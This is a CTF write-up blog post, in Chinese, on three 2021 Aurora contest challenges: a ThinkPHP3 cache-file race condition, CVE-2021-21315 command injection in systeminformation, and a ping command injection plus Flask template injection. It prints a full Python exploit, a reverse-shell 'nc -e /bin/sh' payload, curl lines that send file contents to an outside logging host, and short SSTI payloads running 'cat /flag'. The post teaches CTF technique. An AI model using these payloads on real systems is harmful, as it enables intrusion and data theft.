2021 Aurora内部赛

2021 Aurora内部赛

buy_a_flag

看了2遍大概是看懂了

以下内容是出题人的博客:https://oatmeal.vip/ctf-wp/buyaflag/

前置知识

MVC框架

tp3是一个基于MVC和面向对象的轻量级PHP开发框架,MVC即Model-View-Controll的缩写。

模板Model编写Model类,负责数据的操作;

视图View编写html文件,负责前台的页面显示;

控制器Controll编写类文件,负责后端的操作等等。

URL路由模式

tp3有几种路由模式:普通模式、PATHINFO模式、REWRITE模式、兼容模式。控制路由方式有配置文件中的参数决定,这题由于Nginx常规配置不支持PATHINFO,我使用了兼容模式。

'URL_MODEL'             =>  3,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

Application目录

Application是主要应用目录,存放几乎所有的Coding。

Application
├─Common         应用公共模块
│  ├─Common      应用公共函数目录
│  └─Conf        应用公共配置文件目录
├─Home           默认生成的Home模块
│  ├─Conf        模块配置文件目录
│  ├─Common      模块函数公共目录
│  ├─Controller  模块控制器目录
│  ├─Model       模块模型目录
│  └─View        模块视图文件目录
├─Runtime        运行时目录
│  ├─Cache       模版缓存目录
│  ├─Data        数据目录
│  ├─Logs        日志目录
│  └─Temp        缓存目录

传参方法 I()

I方法用来传参,其用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

第一个参数为传参的类型例如POST或者GET等等;后面三个参数可选,二三分别是默认值以及过滤方法,后面会讲到,本质上调用了call_user_func()

缓存方法S()

设置缓存的方法有两种,F方法和S方法。例子如下:

F('data', 'phpinfo()'); 

F方法缓存的文件名问data.php,生成文件位于Runtime/Data,没有经过加密。

S('data', 'phpinfo()');

S方法生成的缓存文件名经过md5编码,生成文件位于Runtime/Temp/,生成文件时序列化文件内容,并会注释掉文件内容,例如当你传入了1:

<?php
//000000000000s:1"1";
?>

该生成文件的方法并不安全,注释可以使用一些特殊字符来换行绕过。

编码后的文件名也是可以被猜解的,为了避免被拆解,可以设置变量DATA_CACHE_KEY

弱口令登录

img

Bootstarp写的前端,迅速确定功能点:购买、登录、关于、登出,其中后两个功能可以不看,而购买功能需要登录。

img

直接看登录点,有三个地方有提示,主页的注释页:

img

提示存在一个guest账户,使用guest/guest就可以成功登陆。

POST $discount

登录之后的购买功能,buy后提交参数折扣$discount,burp抓包设置为0即可购买,源码两处地方提示了$discount参数。

img

后台的比较由于没有对$discount进行类型转化,这里的$discount传入数组等非数字类型的变量都可以成功。

img

下载code

tp3代码审计

先找到控制器路径shop/Application/Home/Controller/IndexController.class.php

<?php

namespace Home\Controller;

use Think\Controller;

//----------------------------------
// 亲爱的同事你好。
// 当你看到这些代码的时候,意味着我已经从Aurora公司离职了。
// 意味着接下来这一坨像屎一样的项目需要你来维护了。
// 如果你尝试修改这些代码,这一定是一项错误的决定。
// 不要骂我为什么不写注释,因为代码虽然是我写的,但是我自己都看不懂,所以劝你别动!
// 千万别动!千万别动!千万别动!重要的事情说三遍!
// 这家公司每周都在996,经常加班,蓝腾还不发加班工资,偶尔007。
// 面试的时候说的那些福利都是骗人的,有时候还拖欠工资,不买社保,不要公积金。
// 还有一件很重要的事情,公司女程序员极少,所以想要解决单身问题,基本是没戏了。
// 深圳那么多公司,赶紧考虑下一家吧。
// - Oatmeal
//----------------------------------

class IndexController extends Controller
{
    public function check()
    {
        // ...数据校验代码
        rlog($return['code'], 'log');
        // ...渲染页面代码
    }

    public function state()
    {
        // ...状态校验代码
        rlog($return['code'], 'state');
    }

    public function logout()
    {
        // ...状态校验代码
        rlog(1, 'logout');
        // ...渲染页面代码
    }

    public function buy($filter=null) {
        //HTTP协议,传输json需要添加请求头
        header('Content-Type:application/json; charset=utf-8');
        $username = session('username');
        if (!$username) {
            $return['code'] = 0;
            $return['message'] = '你都没登录买你emoji呢';
            rlog($return['code'], 'buy');
            exit(json_encode($return));
        }
        $gid = 5;
        if (empty($_POST)) {
            $discount = 1;
        } else {
            if ($filter) {
                $filter = think_filter($filter)? null: $filter;
            }
            $discount = I('post.discount','',$filter);
        }
        rest();
        $return = $this->code($username, $gid, $discount);
        rlog($return['code'], 'buy');
        echo json_encode($return);
    }

    private function code($username = 'guest', $gid = 5, $discount = 1) {
        $info = M('good')
            ->WHERE('gid=' . $gid)
            ->FIELD('gprice')
            ->SELECT();
        $user = M('account')
            ->JOIN('shop_user on shop_account.id=shop_user.id')
            ->FIELD('shop_user.id, currency')
            ->WHERE("username='" . $username. "'")
            ->SELECT();
        $gprice = $info[0]['gprice'];
        $currency = $user[0]['currency'];
        if ($gprice * $discount > $currency) {
            $return['code'] = 0;
            $return['message'] = '没钱你买你emoji';
        } else {
            $return['code'] = 1;
            $return['message'] = '购买成功,这是CODE的地址:this_is_Code_and_Have_a_g00d_t1me.zip,祝您旅途愉快。';
            $data['currency'] = $user['currency'] - $info['gprice'] * $discount;
            M('account')->filter('strip_tags')->WHERE('id' . $user[0]['id'])->save($data);
        };
        return $return;
    }

}

可以看到在执行完state、log、logout、buy操作之后,控制器会调用一个函数rlog()来操作传入的两个参数。跟进一下,在/Application/Common/Common/function.php

/**
 * 记录操作日志 支持不同事件
 * @param string $event 事件名称
 * @param string $code 传入的参数,记录事件成功与否
 * @return void
 */

function rlog($code=0, $event='')
{
    $log = time();
    if ($event == 'log') { // 登录日志
        S($log, 'log' . $code,1);
    } else if ($event == 'logout') { // 登出日志
        S($log, 'logout' . $code,1);
    } else if ($event == 'buy') { // 购买日志
        S($log, 'buy' . $code,1);
    } else if ($event == 'state') { // 状态日志
        S($log, 'state' . $code,1);
    } else { //临时日志
        S($log, 'temp' . $code,1);
    }rest();rest();
    unlink('Application/Runtime/Temp/' . md5($log) . '.php');
}

这函数看着有模有样,认真看或者Compare一下就知道其实是出题人自己加上去的函数。功能是通过S方法来缓存数据,生成缓存文件。

首先获得当前时间戳:

$log = time();

写缓存文件,如果传入的参数为['log', 'logout', 'state', 'buy']事件,将事件名和成功与否的状态码$code写入文件,文件名为当前时间戳的md5加密。

生成缓存文件后调用两次rest();

rest();rest();

rest()本质上是sleep(1)

// 休息函数
function rest() {
    sleep(1);
}

也就是说这里会等两秒,之后删除文件。

unlink('Application/Runtime/Temp/' . md5($log) . '.php');

这种写法很熟悉有没有,很容易想到是条件竞争,rest()是用来缓冲网络延时造成的干扰。

回头看rlog()函数,传入两个参数$code以及$event,其中$code会通过字符串拼接写入文件,那么要做的就是找到$code参数可控点。

万能的call_user_func

I方法的第三个参数过滤函数的调用实际上通过了call_user_func()。或者我们跟踪function.php中的call_user_func(),找到函数,或者直接开Compare比较一下都行,这里的代码不同很明显了。

我们跟进一下I方法:

img

I方法在循环体内调用了函数array_map_recursive

img

而我们接着找,控制器中获取$discount变量时调用了I方法,并且传入的第三个参数$filter,而第三个参数可控。

img

这里的$filter经过过滤确保传入的参数没有危险函数,但是没有过滤rlog

function think_filter(&$value){
    // TODO 其他安全过滤
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

    $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

    $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

    $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

    $vpattern = explode("|",$pattern);

    foreach ($vpattern as $v) {
        if (preg_match("/$value/i", $v)) {
            return true;
        }
    }

    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        return true;
//        $value .= ' ';
    } else {
        return false;
    }
}

如果我们调用buy()方法,传入了$filter参数为rlog,在获取$_POST['discount']变量时调用了I方法,传入的变量实际上是 call_user_func('rlog', $discount),而$discount可控,在rlog方法中,$event默认为空(如果不为空缺省,实际上在PHP5中缺省函数也能调用,只不过会发生报错),传入的$discount与文件内容拼接,完成注入。

POST方法如下(需要先登录):

POST /index.php?s=/home/index/buy HTTP/1.1
Cookie: PHPSESSID=d33e9d6b455405efc0037fbeb11f1541

filter=rlog&discount=xxxxxxxx

调用函数后生成缓存文件并在两秒后删除,接着跳出函数,回到控制器buy,再一次调用rlog()记录事件buy,所以这里调用了两次rlog(),中间有一次rest()

img

所以完整的触发链子:

rlog($discount, ''); // 两次延时rest();rest();
rest(); // 两次rlog调用间延时
rlog($return['code'], ''buy); //两次延时rest();rest();

绕过Tp3缓存注释

这部分POC也比较多了,网上找一找就有了,大概是用%0a或者%0d注入文件内容,重写一行,参见链接:

ThinkPhp3.2.3缓存漏洞复现以及修复建议

EXP

循环POST提交discount,注意这里需要用unquote()即url编码解码一次。

def cache():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/buy"
        discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
        payload = {'discount': discount, 'filter': 'rlog'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        # print(response.text)

同时GET请求缓存文件名,通过获取当前时间的整型值md5加密,如果返回关键字则写入文件终止循环

def get():
    while 1:
        t = str(int(time.time()))
        hl = hashlib.md5()
        hl.update(t.encode(encoding='utf-8'))
        url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php'
        response = requests.get(url=url)
        if response.text.find('Aurora') != -1:
            print(response.text)
            f = open("flag.txt", "w")
            f.write(response.text)
            break

最终EXP:

import requests
from urllib.parse import unquote
import time
import hashlib
import threading


def login():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/check.html"
        payload = {'username': 'guest', 'password': 'guest'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        if response.text.find("成功") != -1:
            print("login success!\n")
            print("-------------\n")
            break
        else:
            print("login failed!\n")
            print("-------------\n")


def cache():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/buy"
        discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
        payload = {'discount': discount, 'filter': 'rlog'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        # print(response.text)


def get():
    while 1:
        t = str(int(time.time()))
        hl = hashlib.md5()
        hl.update(t.encode(encoding='utf-8'))
        url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() +
        '.php'
        response = requests.get(url=url)
        if response.text.find('Aurora') != -1:
            print(response.text)
            f = open("flag.txt", "w")
            f.write(response.text)
            break        

if __name__ == "__main__":
    login()
    threads = [threading.Thread(target=cache), threading.Thread(target=get)]
    for thread in threads:
        thread.start()            

物理黑客攻击

题目进去是个小游戏,但是其实这个游戏和flag一点关系都没有。

image-20210508161523911

正确做法是直接找到/source源文件:

image-20210508163017565

该路由中调用了Node.js的系统信息库systeminformation,然后继续查看源码可以在package.json中看到其版本为4.34.15,会造成一个安全漏洞,而这个安全漏洞就是cve-2021-21315。

在网上找下poc:Node.js命令sanitize注入漏洞复现(CVE-2021-21315)

  • 反弹shell
?service_name[]=$(nc -e /bin/sh [ip] [port])

然后在自己服务器上监听即可。

  • curl外带数据
?service_name[]=$(curl http://t6n089.ceye.io/?a=`ls -a /|base64`)

这里base64编码的目的是防止有些特殊字符像空格会被过滤,将得到的数据base64解码

image-20210508165306355

发现flag是藏在根目录下的隐藏文件中.fl4g,最后把文件读一下即可

?service_name[]=$(curl http://t6n089.ceye.io/?a=`cat /.fl4g|base64`)

拿shell就给flag?

描述:You must shorter than me!

image-20210508113103357

首先一看ping就想到命令注入或者SSRF,但是一开始没找到传参的方法,找一下响应包

image-20210508113055618

提示参数是url,先尝试命令注入,命令注入需要把前一个语句闭合或者截断,然后加上自己的语句,常用的方式有;&|%0a等,尝试了几个之后发现%0a能够使用,其他被过滤了,直接ls看一下:

?url=%0als
image-20210508113621360

能看到只有一个文件,那就看一下内容:

?url=%0acat index.php
<?php
$url=$_GET['url'];
if(isset($url)){
    if(strlen($url)>15){
        echo "你多长心里没点逼数吗";
    }else if(preg_match('/\*|\;|\||\&/',$url)){
        echo "就你TM叫韩毅";
    }else{
        system("ping -c 4 $url");
    }
}else{
    header('hint:?url=');
    echo '给我一个网址我帮你ping';
}

这里还发现过滤了几个关键的符号*&|,而且把长度限制在15个字符内,导致很难反弹shell,而且通过测试发现也无法保存文件,权限不够。接着可以看到根目录下有flag文件,但是读不了,看一眼权限

image-20210508114058500

只有root用户才能读,当前用户是www-data,看来这个用户是行不通了。

注意到根目录下还有个flask文件,尝试一下默认端口5000能不能进去

image-20210508114427890

默认端口进来了,里面是一个表单提交,既然是flask那么大概率是模板注入

image-20210508114601607

经过尝试之后发现似乎把长度限制在20个字符以内,那么就麻烦大了,好像没有一个读文件的payload能这么短的啊,就这样卡了好久。后来经过提示之后想到可以用几个拼接起来,既然这里有6个注入框,那么我们可以用的就有120个字符了,先找来一个短的能够用的payload:

{{lipsum.__globals__.os.popen('cat /flag').read()}}

然后用set进行拼接:

a={%set a=lipsum%}
&b={%set b=a.__globals__%}
&c={%set c=b.os%}
&d={%set d=c.popen%}
&e={%set e=d('cat /flag')%}
&f={{e.read()}}

问题来了,这里一个set__globals__已经超长了,再次卡住。。。

看wp后才发现原来request也能拼接,先把request进行拼接,然后把__globals__cat /flag作为参数传进去即可,这样就能不超过20个字符了。

get:

?s=__globals__&t=cat /flag

post:

a={%set a=lipsum%}
&b={%set b=request%}
&c={%set c=b.args%}
&d={%set d=a[c.s].os%}
&e={%set e=d.popen%}
&f={{e(c.t).read()}}

参考资料

第一次出题(AURORA内部赛)

[AuroraCTF 2021] Buy A Flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇